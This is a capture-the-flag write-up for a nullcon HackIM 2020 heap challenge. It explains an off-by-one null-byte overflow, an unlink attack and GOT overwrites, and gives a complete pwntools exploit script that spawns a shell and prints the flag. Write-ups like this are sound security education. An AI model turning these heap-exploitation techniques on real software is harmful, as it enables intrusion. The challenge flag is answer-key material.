Points: 460 (dynamic)
TL;DR
- Null byte overflow on heap chunk
- Free overflown chunk
- Overwrite ptr array
- Write
printf@plt
onfree@got
to obtain a libc leak - Write
system
onatoi@got
to get a shell
Binary Mitigations
1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reversing
The program provided three functionalities:
1. Buy a book
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void buy()
{
char *chunk;
signed int i;
for ( i = 0; ptr[i]; ++i )
;
if ( i <= 15 )
{
chunk = malloc(0xF8);
puts("Name of the book?");
read_f8_buff(chunk);
ptr[i] = chunk;
}
else
{
puts("Next time bring a bag with you!");
}
}
2. Return a book
1
2
3
4
5
6
7
8
9
10
11
12
void put_back()
{
int idx;
puts("Which book do you want to return?");
idx = read_int();
if ( (unsigned int)idx > 0xF )
puts("boy, you cannot return what you dont have!");
free(ptr[idx]);
ptr[idx] = 0;
}
3. Write on a book
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void write()
{
int idx;
idx = read_int();
if ( (unsigned int)idx <= 0xF )
{
puts("Name of the book?");
read_f8_buff(ptr[idx]);
}
else
{
puts("Writing in the air now?");
}
}
Vulnerability
The binary uses read_f8_buff
when reading data to buffers. This function reads 0xf8 bytes to a buffer and appends a ‘\x00’ character to the end of the buffer. If 0xf8 characters are provided, the ‘\x00’ will be appended out of bounds.
1
2
3
4
5
6
7
8
9
void read_f8_buff(char *buff)
{
int bytes_read;
bytes_read = read(0, buff, 0xF8);
if ( bytes_read == -1 )
puts("Err read string");
buff[bytes_read] = 0; // off by one vulnerability
}
Exploitation Plan
Step 1 - Control global ptr array entries
We can leverage the off-by-one vulnerability in read_f8_buffer
to force a coalesce with an allocated chunk. This will call the unlink
macro.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
// we have to satisfy this check
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
// important part
FD->bk = BK;
BK->fd = FD;
...
}
}
By controlling the FD
and BK
pointers, we can write the chunk BK
and FD
s address on arbitrary memory, as long as FD->bk == P
and BK->fd == P
. So, effectively, we must have a pointer in memory to P
.
When we allocate a chunk
its address is stored on the global ptr
list.
This address points to the usable area inside the chunk (i.e. not the actual beginning of the chunk). With this in mind we prepare a fake chunk
at the stored address with modified size
,fd
and bk
pointers and next chunk’s prev_size
. We then free the next chunk to trigger a coalesce which will use the unlink macro.
This will overwrite ptr_array[2] with &ptr_array-8 (fake_chunk->fd).
Step 2 - Leak libc
We now control the global ptr
array, so we can insert arbitrary addresses and use the write functionality to achieve a write_what_where. We will now:
- Insert
free@got
’s address on theptr
array - Use the write functionality to replace the
free@got
withprintf@plt
- “Free” a chunk with a format string as it’s content which will call
printf
and get us alibc leak
Step 3 - Get shell
Since we have alibc leak
, the next step is to call system("/bin/sh")
. To do this we overwrite the atoi
entry on the got with system
. This way when the program asks us for the menu option we simply provide the string /bin/sh
.
Exploit Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
def go():
s = remote("pwn2.ctf.nullcon.net", 5002)
libc = ELF("./libc-2.23.so")
ptr = 0x6021b0
leak_offset = 0x20830
# we're not using the name
s.send("A"*8)
# alocate 4 chunks
for n in range(5-1):
alloc(s, chr(ord('A')+n)*0x10)
# alocate 5th chunk with format string needed to obtain a leak
alloc(s, "LEAK:%15$p")
# .bss entry must point to chunk-0x10, so we will create a fake chunk
# 0x10 bytes after our allocated chunk, populating the prev_size with the
# correct size of our fake chunk
write_name(s, 2, '\x00'*8 + p64(0xf1) + p64(ptr-0x18) + p64(ptr-0x10) + (0xf8-0x28)*'A' + p64(0xf0))
# free the third chunk, triggering the unlink
free(s, 3)
# free 0x602018
# &ptr-0x8 is now written on the third entry of the pointer list
# we now use it to change the first pointer to point to free@got
write_name(s, 2, '\x00'*8 + p64(0x602018))
# overwrite both free and puts to printf
write_name(s, 0, p64(0x400680) + p64(0x400680))
# trigger the printf on the fifth chunk and obtain a libc leak
free(s, 4)
s.recvuntil("LEAK:")
libc.address = int(s.recv(14)[2:], 16) - leak_offset
log.info("libc @ {}".format(hex(libc.address)))
# atoi 0x602060
# replace atoi with system
write_name(s, 2, '\x00'*8 + p64(0x602060))
write_name(s, 0, p64(libc.symbols['system']))
s.sendline("/bin/sh")
s.sendline("cat flag")
s.interactive()
go()
# hackim20{Cause_Im_coming_atcha_like_a_dark_honya_?}